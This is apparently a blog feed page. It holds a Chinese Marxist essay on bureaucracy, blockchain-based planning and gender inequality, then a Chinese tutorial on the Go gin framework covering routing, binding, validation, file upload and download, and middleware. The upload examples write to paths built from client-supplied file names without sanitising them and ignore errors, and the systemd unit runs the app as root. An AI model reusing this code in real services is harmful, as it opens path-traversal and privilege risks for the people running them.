实际上不止🐱和无产阶级文化大革命,当前中文互联网像这样的服号还有:小王大吼一声、江姐我听着呢、军舰萨布林……再往多了说,不限于左派,还有蛤、8*8等等。对现实的批判往往让我们希望拥有一个美好的画板去照猫画虎,甚至一盏明灯来指引前行。 作者对这种符号的批判看似与其推崇者针锋相对,实际上只有摆脱了对这种符号的追求,才能真正摆脱思想的桎梏去追寻真理。这个符号无论多么光辉多么不堪,它指引部分左派接触了马克思主义,但是符号a让我们产生的是思想b,对于a的批判并不会影响b的正误,而不打破对a的依赖,b也不可能进一步发展。 举个例子,我了解的🐱与🐱的思想,是🐱身在腐化的先锋队而不愿放弃,勇敢发动人民推翻腐化先锋队。这让我在政治经济观点上产生了生产资料公有制、民主、按劳分配的想法。但是文章中提到,作者认为🐱是最大的官僚头子,并不想打破官僚体系,仅仅利用民意权力斗争。不论这是真是假,并不会影响到我对生产资料公有制、民主、按劳分配的想法。但是我如果进一步思考,如何解决例如先锋队腐化问题,按照🐱的理论似乎需要永无止境的群众推翻官僚的斗争,我可能觉得不妥,我想到也许可以在技术发展的前提下,搞基于区块链的直接民主,把政治经济全部包含进去,而这已经摆脱了计划经济的概念,因此这些想法与🐱的想法可能冲突,此时,对🐱的推崇可能就会阻碍我进一步的思考,我需要打破对🐱的依赖,才能进一步思考。 我们要夺回劳动果实 让思想冲破牢笼 無產波拿巴主義 也就是說,共產主義的初級階段、第一階段,即是社會主義,其經濟發展最低的起點本該要比最發達的資本主義高。 一個以國有制計劃經濟為基礎的工人國家內,社會在政治上和經濟上都缺少群眾的廣泛參與、監督,取而代之的是國家官僚獨斷的控制與他們愈發膨脹的特權。 說到底,計劃經濟並不需要一個官僚階層便能運作;雖然社會主義階段的半國家無可厚非地需要一個負責協調生產、研究技術、制定政策、防止舊統治階級破壞的工人國家,但正如列寧解釋的,要保持計劃經濟的健康運作只能依靠整個社會的大多數人廣泛參與經濟的、政治的管理,使公有制不再依靠強迫的鎮壓、單靠社會的慣性便能運行——正如資本主義依靠私有制的慣性便能運作。 隨著官僚階層的愈發成長,鎮壓、反動性質的不斷提升,改革工人國家體制愈發不可能,唯一的解決方案只有來自工人的一場政治革命,目標正是徹底消滅整個官僚體制的腫瘤,並由此建立一個真正民主的計劃經濟、工人國家,施行階級獨立、國際主義的對外革命政策。 引用的这几部分大概能表达出作者的观点了。实际上,这里也与笔者想法不谋而合。 从第一条讲,马克思一直强调社会变革源自旧的生产关系阻碍生产力的发展,因此如果一个国家的生产力甚至没有被资本主义解放出来多少,或者说甚至没有资本主义的发展因此还没有出现足够多的无产阶级,那么作为无产阶级革命的共产主义运动又从何而来? 其实确实很难受,我已经看到了b的错误与c的好,但是我现在还在a,还没到b,那就离c还远。 不过这里要强调一点,一个国家的旧的生产关系是否开始阻碍生产力的发展,或者说资本主义是否解放够了生产力,又或者说共产主义运动的实际是否成熟也是有切实存在的标准的。如果一个国家的大部分人已经是无产阶级、如果一个国家的生产总量足以满足全国人过上富足的生活、如果资本主义的经济危机已经开始在这个国家发生,那么无疑,共产主义运动的实际已经成熟,无产阶级革命的共产主义运动就应该开始了。 从后面几条讲,涉及到了无产阶级如何统治社会主义国家,公有制应该有什么经济模式。公有制的定义应该大都没什么疑问,还觉得公有制是公有财产的,建议先去百度Google,但是对于公有制下的经济模式,就众说纷纭了,当前国内左派普遍认为应当是计划经济。马克思本对资本主义下的市场经济的批判是"生产社会化同生产资料资本家私人占有之间的矛盾",因此可以推断,马克思认为共产主义阶段需要一种使得生产资料的公有的,人人能自由进行劳动的经济模式,而作为过渡阶段的社会主义,理应朝着这方面努力。 我们来看看计划经济,国内左派认为由国家掌握生产资料,具体到工厂,不存在生产资料的私有者,工人们的生产流程由工人们民主决定,例如两参一改三结合的鞍钢模式。这种方式让工人成为工厂甚至国家的主人,充满了民主的气息,但是实践上来讲,一个是不存在抽象的国家,从无产阶级中选出的国家统治者们往往会出现腐化,生产很容易由统治阶级主导,而难以具体量化劳动的问题导致工人可能直接开摆。 市场经济下,对于生产的管理同腐化官僚的管理一模一样,生产的目的为统治阶级而非无产阶级,而生产的动力则是来自于对无产阶级的压榨剥削,生存的需求迫使无产阶级不得不努力生产。纵使多么不人道,确实积极性高。 那么如何解决这个问题,作者提出来要无产阶级彻底的参与政治经济的所有领域,民主直接作用于整个社会的方方面面,如果社会意志永远是无产阶级的意志,那么生产的目标就不会从无产阶级身上偏移,如果无产阶级能够真正合理的按劳分配,多劳多得(资本主义也是多劳多得,10%-20%也是多嘛,计划经济反而让多劳多得因为统计问题出现了困难),那么生产的动力也很好的解决了。 我个人的想法是,利用区块链技术,把全社会的生产联系起来,成为一个大的区块链系统。这样一来代码透明,二来对算法的决定与更改、对人民的需求与生产的统计来自于人民,三来对于按劳分配的实现也有了可能,比如如果把比特币挖矿,出币于算力挂钩改进为于各种劳动挂钩。关于分配上,还有一点就是共产主义是按需分配而不是按劳分配,社会主义作为过渡阶段,虽然只能按劳分配,但不应忘记按需分配才是目的。因此我认为精确的按劳分配并没有必要。试想一个美团外卖那样的系统,定期(随时或者每天每月每周?)提交自己的需求商品,这些商品交与区块链算法进行分配给各个工厂生产,而提交的需求商品的总价值不能超过一个于你的劳动量挂钩的价值(类似于工分工资,在区块链下是币),而这个价值(工资)不精确的计算到值,而是划分区间,在有固定低保(远比资本主义的低保高)的前提下,定期清空余额。这就很好的解决了计算劳动价值的问题,你只用控制总体而不在乎个体,那些被清空的余额就可以作为扩大再生产的投资。 无产阶级文艺与思想观念 應當由此作出一個總的結論:無產階級文化不僅現在沒有,而且將來也不會有;其實,並沒有理由惋惜這一點,因為,無產階級奪取政權正是為了永遠結束階級的文化,並為人類的文化鋪平道路。 由此看來,真正合理的個人主義,沒有不顧社會秩序的;真正合理的社會主義,沒有不顧個人自由的。個人是群合的原素,社會是眾異的組織。真實的自由,不是掃除一切的關係,是在種種不同的安排整列中保有寬裕的選擇的機會;不是完成的終極境界,是進展的向上行程。真實的秩序,不是壓服一切個性的活動,是包蓄種種不同的機會使其中的各個分子可以自由選擇的安排;不是死的狀態,是活的機體。 作者批评了无产阶级文化大革命中"无产阶级文化"的观点。我了解不多,我想说的其实是关于道德与思想观念的问题。 对于道德的问题,很容易想到人性云云,很多左派已经批判过人性论,我也不再赘述,我的朋友包括我自己看到一些人表现出道德的低下,人性的龌龊的行为时,深恶痛绝,但是实际上这些人之所以有这样的想法道德观念,也是因为社会普遍存在这些观念:男女不平等、无产阶级工人低贱等。马克思主义说"人是社会关系的总合",这些人的观念可能很难改变,但是如果社会形态变了,社会整体的观念变了,就不会再新出现这样的人。 着眼当下女权主义的又一次兴起,相较于全力打击现有的对女性的歧视行为,更重要的还有解决男女不平等出现的土壤,不然永远会出现新的歧视行为。 女性在当前社会处于劣势地位,有意无意的"重男轻女"的思想意识并非个例,而是一个普遍的问题,是历史的必然。纵观历史,在封建社会的小农生产中,女性在农业这样重体力的劳动中,提供的生产力明显低于男性,女性的重点工作与职责被放在了生儿育女上面,远离了社会生产。同时生产力低下更是放大了男女在生产中的差别,进而产生了各种重男轻女的思想。因此重男轻女的思想是由物质或者说 切实的吃饭问题转变来的。 随着生产方式的革新,在资本主义的工业化生产中,男女劳动的差别大大减小,资本家也需要更多生产力来进行生产的扩大化,于是各国随着资产阶级革命也出现了女权主义的男女平等的思想也广为传播。女性地位较封建社会有了极大的提升,更多的女性劳动力也被解放出来。女性地位的提升也并非自然而然,从十九世纪以来,无数女权主义运动才换来了欧美各国女性的投票权等政治权利。 然而,在资本主义社会中,社会生产以盈利为目的,女性在劳动中提供的生产力因为生理原因仍然低于男性,因此,资本家在同样的薪资待遇下愿意雇佣男性工人而非女性,女性在社会生产中仍然处于弱势地位,与之相关的"重男轻女"的思想虽相较封建社会大幅下降,但仍无法根除。 性别矛盾的根本是生产方式的问题,是阶级问题,而非两性之间的权利争夺。事实上,越是处于下层的女性受到性别原因的剥削压迫就越多。在女权主义的历史上,很多女权主义者是男性,这也证明了,性别矛盾不是两性之间的利益博弈。 因此,针对资本主义社会,要解决男女平等的问题,就要从根本上改变社会生产方式,改变以利润为导向的生产。马克思主义者是天然的女权主义者这一观点正是如此得来的,也正因此,马克思主义者面对女性权益问题时,也应为之奔走呼号,通过舆论,呼吁资产阶级立法保护女性权益。在一次又一次的斗争中,非马克思主义的女权主义者也会在每次成功中感受到人民的力量,在每次失败中认识到资产阶级作为统治阶级的腐朽,也当加入马克思主义者的事业中来,为解放全世界被剥削压迫的人民的事业增添新的血液。 經驗表明,一旦婦女開始在工作場所組織起來並為自己的權利而鬥爭,就會消除分歧,團結男女工人,加強婦女和整個工人階級的地位。婦女解放是工人階級為解放全人類而鬥爭的一個組成部分。

9/13/2023
articleCard.readMore

ginWeb框架学习

ginWeb框架学习(ubuntu22.04.3) 代码仓库 gin gin官网 gin中文文档 gin安装与环境配置 安装gin 1 2 3 4 # 切换国内代理 GOPROXY=https://goproxy.cn,direct # 安装gin go get -u github.com/gin-gonic/gin 安装postman postman官网 用于调试post请求接口用 测试gin是否安装成功 1 2 3 4 5 6 7 8 9 10 11 package main import "github.com/gin-gonic/gin" func main() { router := gin.Default() router.GET("/index", func(context *gin.Context) { context.String(200, "Hello lihan!") }) router.Run(":8080") } 1 2 3 4 5 # 运行 go run main.go # 访问[主机地址]:8080/index # 例如 127.0.0.1:8080/index # 显示 Hello World! 则安装成功 gin网站后台运行 linux systemd 创建gin.service文件 1 sudo vim /etc/systemd/system/gin.service 编辑gin.service文件 /home/root/handong_music/main.go为项目的入口文件 1 2 3 4 5 6 7 8 9 10 11 12 13 [Unit] Description=Handong Music Gin App After=network.target [Service] ExecStart=/usr/local/go/bin/go run /home/root/handong_music/main.go Restart=always WorkingDirectory=/home/root/handong_music User=root Environment=GIN_MODE=release [Install] WantedBy=multi-user.target 启动gin.service 1 2 3 4 5 6 7 8 ## 重新加载配置文件 sudo systemctl daemon-reload # 启动 sudo systemctl start gin # 开机自启 sudo systemctl enable gin # 查看状态 sudo systemctl status gin gin教程 gin启动方式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package main import ( "github.com/gin-gonic/gin" ) func Index2(context *gin.Context) { context.String(200, "Hello lihan2!") } func main() { //创建一个默认路由引擎 router := gin.Default() //注册一个路由和处理函数,访问/index的路由时,会执行后面的匿名函数 router.GET("/index", func(context *gin.Context) { context.String(200, "Hello lihan!") }) //另一种方法,可以直接使用已经声明的函数 router.GET("/index2", Index2) //启动HTTP服务,gin会默认把web服务器运行在本机的0.0.0.0:8080端口上(即所有网卡IP的8080端口) router.Run(":8080") //第二种启动方式,用原生http服务的方式启动,这种方式可以实现更多的自定义配置 //http.ListenAndServe(":8080", router) } gin视图 view 响应 response 状态码 状态码 1 2 3 4 5 6 7 8 9 10 11 12 200 表示正常响应 http.StatusOk //常见状态码 200 - 请求成功 301 - 资源(网页等)被永久转移到其它URL 404 - 请求的资源(网页等)不存在 500 - 内部服务器错误 //状态码分类 1** 信息,服务器收到请求,需要请求者继续执行操作 2** 成功,操作被成功接收并处理 3** 重定向,需要进一步的操作以完成请求 4** 客户端错误,请求包含语法错误或无法完成请求 5** 服务器错误,服务器在处理请求的过程中发生了错误 返回字符串 1 2 3 router.GET("/", func(c *gin.Context) { c.String(200, "你好啊!") }) 返回json 重点 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 //main.go router.GET("/json", ginJson) //ginJson函数 func ginJson(c *gin.Context) { //json响应结构体 type UserInfo struct { UserName string `json:"username-json"` //返回给前端的字段名 Age int `json:"age_json"` PassWord string `json:"-"` //"-"不会返回给前端 } //user := UserInfo{"lihan", 32, "123456"} //c.JSON(200, user) //json响应map //userMap := map[string]string{ // "user_name": "lihan", // "age": "32", //} //c.JSON(200, userMap) //直接响应json c.JSON(200, gin.H{"user_name": "lihan", "age": 32}) } 返回xml和yaml 1 2 3 4 5 6 7 8 9 10 11 12 //main.go router.GET("/xml", ginXml) router.GET("/yaml", ginYaml) //ginXml、ginYaml函数 func ginXml(c *gin.Context) { c.XML(200, gin.H{"user_name": "lihan", "age": 32, "status": http.StatusOK, "data": gin.H{"id": 1, "name": "lihan"}}) } func ginYaml(c *gin.Context) { c.YAML(200, gin.H{"user_name": "lihan", "age": 32, "status": http.StatusOK, "data": gin.H{"id": 1, "name": "lihan"}}) } 返回html 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 //main.go router.LoadHTMLGlob("templates/*") router.GET("/html", ginHtml) //ginHtml函数 func ginHtml(c *gin.Context) { type UserInfo struct { UserName string Age int PassWord string } user := UserInfo{"lihan", 32, "123456"} c.HTML(200, "index.html", user) //c.HTML(200, "index.html", gin.H{"user_name": "lihan", "age": 32, "status": http.StatusOK, "data": gin.H{"id": 1, "name": "lihan"}}) } //gin.H()可以向html传参 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 {{/* templates/index.html */}} <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>首页</title> </head> <body> <h1>响应html {{ .UserName}}</h1> {{/* <h1>响应html {{ .data.name}}</h1> */}} </body> </html> 响应文件 1 2 3 4 5 6 7 8 9 10 11 12 //main.go //golang中,没有相对文件的路径,只有相对项目的路径 //配置单个文件,网页请求的路由,文件路径 router.StaticFile("/downloads/lihan.png", "static/lihan.png") //配置文件夹,网页请求的路由,文件夹路径 router.StaticFS("/downloads/files", http.Dir("static/texts")) //配置js、css、图片等资源 router.Static("/static", "static") //html中引用资源 <img src="/static/resource/baidu.png" alt="baidu"> <link rel="stylesheet" href="/static/css/style.css"> 项目文件夹[gowebstudy] static texts test.txt lihan.png pwd.txt 2.gin_view视图 2.1response响应.go redirect 重定向 HTTP 301 Moved Permanently (永久重定向): 当服务器返回HTTP状态码301时,它告诉客户端请求的资源已永久移动到一个新的URL。 浏览器(或其他HTTP客户端)会记住这个永久重定向,以后的请求都会直接转向新的URL,而不再请求原始URL,可缓存。 HTTP 302 Found (临时重定向): 当服务器返回HTTP状态码302时,它告诉客户端请求的资源已临时移动到一个新的URL。 浏览器会将这个重定向视为临时性质,因此不会记住新的URL,每次都需要重新请求原始URL,不可缓存 1 2 3 4 5 6 //main.go router.GET("/lihan", ginRedirect) //ginRedirect函数 func ginRedirect(c *gin.Context) { c.Redirect(301, "https://lihan3238.github.io/") } 请求 request Query 查询参数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 //main.go func _query(c *gin.Context) { fmt.Println(c.Query("username")) //c.GetQuery仅判断是否存在,不判断是否为空 fmt.Println(c.GetQuery("username")) //c.QueryArray获取全部username的值,返回一个切片 fmt.Println(c.QueryArray("username")) //c.DefaultQuery获取username的值,如果为空则返回默认值 fmt.Println(c.DefaultQuery("id","default_id")) } //?id=2&username=lihan&username=op func main() { router := gin.Default() router.GET("/query", _query) router.Run(":8080") } //访问:http://192.168.56.105:8080/query?id=2&username=lihan&username=op //返回: lihan lihan true [lihan op] Param 动态参数 1 2 3 4 5 6 7 8 9 10 //main.go router.GET("/param/:user_id", _param) router.GET("/param/:user_id/:book_id", _param) //_param函数 func _param(c *gin.Context) { fmt.Println(c.Param("user_id")) fmt.Println(c.Param("book_id")) } //http://192.168.56.105:8080/param/user1/book2 PostForm 表单参数 要使用Post而非Get请求 可以接收 multipart/form-data 和 application/x-www-form-urlencoded 类型的数据 1 2 3 4 5 6 7 8 9 //main.go router.POST("/form", _form) //_form函数 func _form(c *gin.Context) { fmt.Println(c.PostForm("username")) fmt.Println(c.PostFormArray("id")) fmt.Println(c.DefaultPostForm("addr", "default_addr")) } 1 2 3 4 # 返回 lihan [123456 88888] default_addr GetRawData 获取原始参数 1 2 3 4 5 6 7 8 //main.go router.POST("/rawdata", _rawData) //_rawData函数 func _rawData(c *gin.Context) { //fmt.Println(c.GetRawData()) body, _ := c.GetRawData() fmt.Println(string(body)) } 1 2 # 返回 name=abcde 1 2 3 4 Content-Disposition: form-data; name="name" abcd ----------------------------609676969091043609505229-- GetRawData 序列化Json与类型绑定 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 //main.go router.POST("/rawdata2", _rawData2) //_rawData2函数 func _rawData2(c *gin.Context) { body, _ := c.GetRawData() contentType := c.GetHeader("Content-Type") switch contentType { case "application/json": type User struct { Username string `json:"name"` Password int `json:"pwd"` } var user User err := json.Unmarshal(body, &user) if err != nil { fmt.Println(err.Error()) } fmt.Println(user) } } 1 {lihan 123456} 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 func bandJson(c *gin.Context, obj any) (err error) { body, _ := c.GetRawData() contentType := c.GetHeader("Content-Type") switch contentType { case "application/json": err := json.Unmarshal(body, obj) if err != nil { fmt.Println(err.Error()) return err } } return nil } func _rawData2(c *gin.Context) { type User struct { Username string `json:"name"` Password int `json:"pwd"` } var user User err := bandJson(c, &user) if err != nil { fmt.Println(err.Error()) } fmt.Println(user) } 四大请求方式 Restful风格指的是网络应用中资源定位和资源操作的风格。 不是标准,只是一种风格。 GET : 从服务器取出资源(一项或多项) POST : 在服务器新建一个资源 PUT : 在服务器更新资源(客户端提供改变后的完整资源) PATCH(少) : 在服务器更新资源(客户端提供改变的属性) DELETE : 从服务器删除资源 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 //以文字资源为例 //GET /articles 列出所有文章 //GET /articles/:id 获取文章详情 //POST /articles 新建一篇文章 //PUT /articles/:id 更新某篇文章的信息 //DELETE /articles/:id 删除某篇文章 //main.go router.GET("/articles", _getList) // 文章列表 router.GET("/articles/:id", _getDetail) // 文章详情 router.POST("/articles", _create) // 新建文章 router.PUT("/articles/:id", _update) // 修改文章 router.DELETE("/articles/:id", _delete) // 删除文章 //函数 type ArticleModel struct { Title string `json:"title"` Content string `json:"content"` } type Response struct { Code int `json:"code"` Data any `json:"data"` Msg string `json:"msg"` } func _bandJson(c *gin.Context, obj any) (err error) { body, _ := c.GetRawData() contentType := c.GetHeader("Content-Type") switch contentType { case "application/json": err := json.Unmarshal(body, obj) if err != nil { fmt.Println(err.Error()) return err } } return nil } func _getList(c *gin.Context) { //包含搜索、分页等功能 articleList := []ArticleModel{ {Title: "Go语言入门", Content: "本文是Go语言入门指南"}, {Title: "Stellarise群星攻略", Content: "本文是Stellarise群星攻略"}, {Title: "马克思主义学习指南", Content: "本文是马克思注意学习指南"}, {Title: "李寒个人介绍", Content: "本文是李寒个人介绍"}, } //c.JSON(200, articleList) //接口封装 c.JSON(200, Response{0, articleList, "success"}) } func _getDetail(c *gin.Context) { //获取params中的id fmt.Println(c.Param("id")) //省略查询数据库的过程 article := ArticleModel{Title: "李寒个人介绍", Content: "本文是李寒个人介绍"} c.JSON(200, Response{0, article, "success"}) } func _create(c *gin.Context) { //接受前端传来的JSON数据 var article ArticleModel err := _bandJson(c, &article) if err != nil { c.JSON(200, Response{1, nil, "参数错误"}) return } //省略插入数据库的过程 c.JSON(200, Response{0, article, "success"}) } func _update(c *gin.Context) { //获取params中的id fmt.Println(c.Param("id")) //省略查询数据库的过程 //接受前端传来的JSON数据 var article ArticleModel err := _bandJson(c, &article) if err != nil { c.JSON(200, Response{1, nil, "参数错误"}) return } //省略插入数据库的过程 c.JSON(200, Response{0, article, "success"}) } func _delete(c *gin.Context) { //省略查询数据库的过程 //获取params中的id fmt.Println(c.Param("id")) //省略删除数据库的过程 c.JSON(200, Response{0, map[string]string{}, "success"}) } 请求头与响应头 Request Header 请求头 请求头参数获取 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 //获取请求头 router.GET("/", func(c *gin.Context) { //单词首字母大小写不区分,单词之间用"-"分割 //用于获取一个请求头 fmt.Println(c.GetHeader("User-Agent")) fmt.Println(c.Request.Header.Get("User-Agent")) //fmt.Println(c.GetHeader("user-agent")) //fmt.Println(c.GetHeader("user-Agent")) //Header是一个map[string][]string类型 fmt.Println(c.Request.Header) //获取所有请求头,区分大小写 fmt.Println(c.Request.Header["User-Agent"]) c.JSON(200, gin.H{"msg": "ok"}) }) 利用请求头,将爬虫和用户区别对待 1 2 3 4 5 6 7 8 9 10 11 12 13 14 //利用请求头,将爬虫和用户区别对待 // router.GET("/index", func(c *gin.Context) { userAgent := c.GetHeader("User-Agent") //方法一 正则去匹配 //字符串的包含匹配 if strings.Contains(userAgent, "python") { //爬虫来了 c.JSON(200, gin.H{"data": "这是一个爬虫"}) return } c.JSON(200, gin.H{"data": "这是一个用户"}) }) Response Header 响应头 1 2 3 4 5 //设置响应头 router.GET("/res", func(c *gin.Context) { c.Header("Content-Type", "application/text; charset=utf-8") c.JSON(200, gin.H{"data": "看看响应头"}) }) bind绑定参数 gin中bind可以很方便地将前端传递来的数据与 结构体 进行 参数绑定 以及 参数校验。 参数绑定 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 //ShouldBindJSON type UserInfo struct { Name string `json:"name"` Age int `json:"age"` Sex string `json:"sex"` } router.POST("/", func(c *gin.Context) { var userInfo UserInfo err := c.ShouldBindJSON(&userInfo) if err != nil { c.JSON(200, gin.H{"msg": "你错"}) return } c.JSON(200, userInfo) }) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 //ShouldBindQuery //tag对应为form type UserInfo struct { Name string `json:"name" form:"name"` Age int `json:"age" form:"age"` Sex string `json:"sex" form:"sex"` } router.POST("/query", func(c *ginContext) { var userInfo UserInfo err := c.ShouldBindQuery(&userInfo) if err != nil { c.JSON(200, gin.H{"msg": "你错"}) return } c.JSON(200, userInfo) }) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 //ShouldBindUri //tag对应为uri type UserInfo struct { Name string `json:"name" form:"name" uri:"name"` Age int `json:"age" form:"age" uri:"age"` Sex string `json:"sex" form:"sex" uri:"sex"` } router.POST("/uri/:name/:age/:sex", func(c *gin.Context) { var userInfo UserInfo err := c.ShouldBindUri(&userInfo) if err != nil { c.JSON(200, gin.H{"msg": "你错了"}) return } c.JSON(200, userInfo) }) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 //ShouldBind //会根据请求头中的content-type去自动绑定 //form-data的参数也用这个,tag用form //默认的tag就是form,可以绑定json,query,param,yaml,xml type UserInfo struct { Name string `form:"name"` Age int `form:"age"` Sex string `form:"sex"` } router.POST("/form", func(c *gin.Context) { var userInfo UserInfo err := c.ShouldBind(&userInfo) if err != nil { c.JSON(200, gin.H{"msg": "你错了"}) return } c.JSON(200, userInfo) }) 参数验证 常用验证器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 // 不能为空,并且不能没有这个字段 required: 必填字段,如: binding:"required" // 针对字符串的长度 min 最小长度,如: binding:"min=5" max 最大长度,如: binding:"max=18" len 长度,如: binding:"en=6" // 针对数字的大小 eg 等于,如: binding:"eg=3" ne 不等于,如: binding:"ne=12" gt 大于,如: binding:"gt=18" gte 大于等于,如: binding:"gte=18" lt 小于,如:binding:"lt=18" lte 小于等于,如: binding:"lte=18" // 针对同级字段的 eqfield 等于其他字段的值,如: PassWord string binding:"eqfield=Password" nefield 不等于其他字段的值 忽略字段,如: binding:"_" type SignUserInfo struct { // binding:"required"不能为空或不传 Name string `json:"name" binding:"required"` //用户名 Mail string `json:"mail"` //邮箱 // binding:"min=6,max=12"最小长度6,最大长度12 Password string `json:"password" binding:"min=6,max=12"` //密码 RePassword string `json:"re_password" binding:"eqfield=Password"` //确认密码 } gin内置验证器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // 枚举 只能是red 或green oneof=red green // 字符串 contains=fengfeng // 包含fengfeng的字符串 excludes // 不包含 startswith // 字符串前缀 endswith // 字符串后缀 // 数组 dive // dive后面的验证就是针对数组中的每一个元素 // 网络验证 ip ipv4 ipv6 uri url // uri 在于I(Identifier)是统一资源标示符,可以唯一标识一个资源 // url 在于Locater,是统一资源定位符,提供找到该资源的确切路径 // 日期验证 1月2号下午3点4分5秒在2006年 datetime=2006-1-2 1 2 3 4 5 6 7 8 type SignUserInfo struct { Sex string `json:"sex" binding:"oneof=男 女"` //性别 HobbyList []string `json:"hobby_list" binding:"required,dive,startswith=ilove"` //爱好 IP string `json:"ip" binding:"ip"` //ip地址 //必须用datetime=2006-01-02 15:04:05这个时间,不能换成别的时间 //1月2号下午3点4分5秒2006年 Date string `json:"date" binding:"datetime=2006-01-02 15:04:05"` //日期 } 自定义验证器错误信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 //main.go router.POST("/", func(c *gin.Context) { type User struct { Name string `json:"name" binding:"required" msg:"用户名校验失败"` Age int `json:"age" binding:"required,gt=10" msg:"年龄校验失败"` } var user User err := c.ShouldBindJSON(&user) if err != nil { //c.JSON(200, gin.H{"msg": err.Error()}) c.JSON(200, gin.H{"msg": GetValidMsg(err, &user)}) return } c.JSON(200, gin.H{"data": user}) }) //GetValidMsg函数 func GetValidMsg(err error, obj any) string { // 将err接口断言为具体类型 //使用的时候传文件指针 getObj := reflect.TypeOf(obj) if errs, ok := err.(validator.ValidationErrors); ok { //断言成功 //循环每一个错误信息 for _, e := range errs { if f, exist := getObj.Elem().FieldByName(e.Field()); exist { msg := f.Tag.Get("msg") return msg } } } return err.Error() } 自定义验证器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 //main //自定义验证器 sign if v, ok := binding.Validator.Engine().(*validator.Validate); ok { v.RegisterValidation("sign", signValid) } router.POST("/", func(c *gin.Context) { var user User err := c.ShouldBind(&user) if err != nil { c.JSON(200, err.Error()) return } c.JSON(200, gin.H{"data": user}) return }) //signValid函数和user结构体 type User struct { //自定义验证器 sign Name string `form:"name" binding:"required,sign" msg:"请输入名字"` Age int `form:"age" binding:"required,gt=10" msg:"请输入年龄"` } func signValid(fl validator.FieldLevel) bool { //不允许name为nameList中的值 var nameList []string = []string{"lihan", "lihan3238", "Lihan"} for _, nameStr := range nameList { name := fl.Field().Interface().(string) if name == nameStr { return false } } return true } 上传下载文件 上传文件 单文件 1 2 3 4 5 6 7 8 9 10 11 12 // 为 multipart forms 设置较低的内存限制 (默认是 32 MiB) // 单位是字节,<< 是左移预算符号,等价于 8 * 2^20 // gin对文件上传大小的默认值是32MB router.MaxMultipartMemory = 8 << 20 // 8 MiB router.POST("/upload", func(c *gin.Context) { file, _ := c.FormFile("file") fmt.Println(file.Filename) fmt.Println(file.Size / 1024) //单位为KB //保存文件到本地 c.SaveUploadedFile(file, "uploads/"+file.Filename) c.JSON(200, gin.H{"msg": "上传成功"}) }) 服务器保存文件的几种方式 SaveUploadedFile 保存文件到本地 1 2 SaveUploadedFile(file, "uploads/"+file.Filename) //文件对象,文件路径:注意要从项目根路径开始写 读取文件内容 1 2 3 4 5 6 7 8 router.POST("/upload", func(c *gin.Context) { file, _ := c.FormFile("file") readerFile, _ := file.Open() data, _ := io.ReadAll(readerFile) fmt.Println(string(data)) c.JSON(200, gin.H{"msg": "上传成功"}) }) Create+Copy 1 2 3 4 5 6 7 8 9 10 11 router.POST("/upload", func(c *gin.Context) { file, _ := c.FormFile("file") readerFile, _ := file.Open() writerFile, _ := os.Create("uploads/" + file.Filename) defer readerFile.Close() defer writerFile.Close() n, _ := io.Copy(writerFile, readerFile) fmt.Println(n) c.JSON(200, gin.H{"msg": "上传成功!"}) }) 上传多个文件 1 2 3 4 5 6 7 8 router.POST("/uploads", func(c *gin.Context) { form, _ := c.MultipartForm() files := form.File["file"] for _, file := range files { c.SaveUploadedFile(file, "uploads/"+file.Filename) } c.JSON(200, gin.H{"msg": fmt.Sprintf("上传成功%d个文件!", len(files))}) }) 下载文件 1 2 3 4 5 6 7 8 9 10 11 12 router.GET("/download", func(c *gin.Context) { //c.File("uploads/logo.png") //有些响应,比如图片,浏览器就会显示这图片,而不是下载,所以我们需要使浏览器起下载行为 c.Header("Content-Type", "applicationoctet-stream") //一定要指定下载文件名(可以与源文件名同),不然默认download无后缀名 c.Header("Content-Disposition","attachment; filename=1.png") //设置文件传输方式为二进制(乱码问题关) c.Header("Content-Transfer-Encoding","binary") //指定源文件 c.File("uploads/logo.png") } 如果是前后端模式下,后端就只需要响应一个文件数据 文件名和其他信息就写在请求头中 1 2 3 c.Header("fileName","xxx .png") c.Header("msg","文件下载成功") c.File("uploads/12 .png") 中间件和路由 中间件 单个路由的中间件 1 2 3 4 5 6 7 8 9 10 11 12 //main.go router.GET("/", m1, func(c *gin.Context) { fmt.Println("index...") c.JSON(200, gin.H{"msg": "index"}) })//执行顺序:m1->index //m1中间件 func m1(c *gin.Context) { fmt.Println("m1...") c.JSON(200, gin.H{"msg": "m1"}) c.Abort() //阻止后续的处理函数执行 } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 //main.go router.GET("/", m1, func(c *gin.Context) { c.JSON(200, gin.H{"msg": "index"}) fmt.Println("index...in") //next前是请求 //Abort后不会执行之后的请求和响应,但是会执行已执行过请求的响应 c.Next() //next后是响应 fmt.Println("index...out") }) //m1 func m1(c *gin.Context) { c.JSON(200, gin.H{"msg": "m1"}) fmt.Println("m1...in") c.Next() fmt.Println("m1...out") } 1 2 3 4 5 #返回 m1...in index...in index...out m1...out 全局注册中间件 1 2 3 4 5 6 7 8 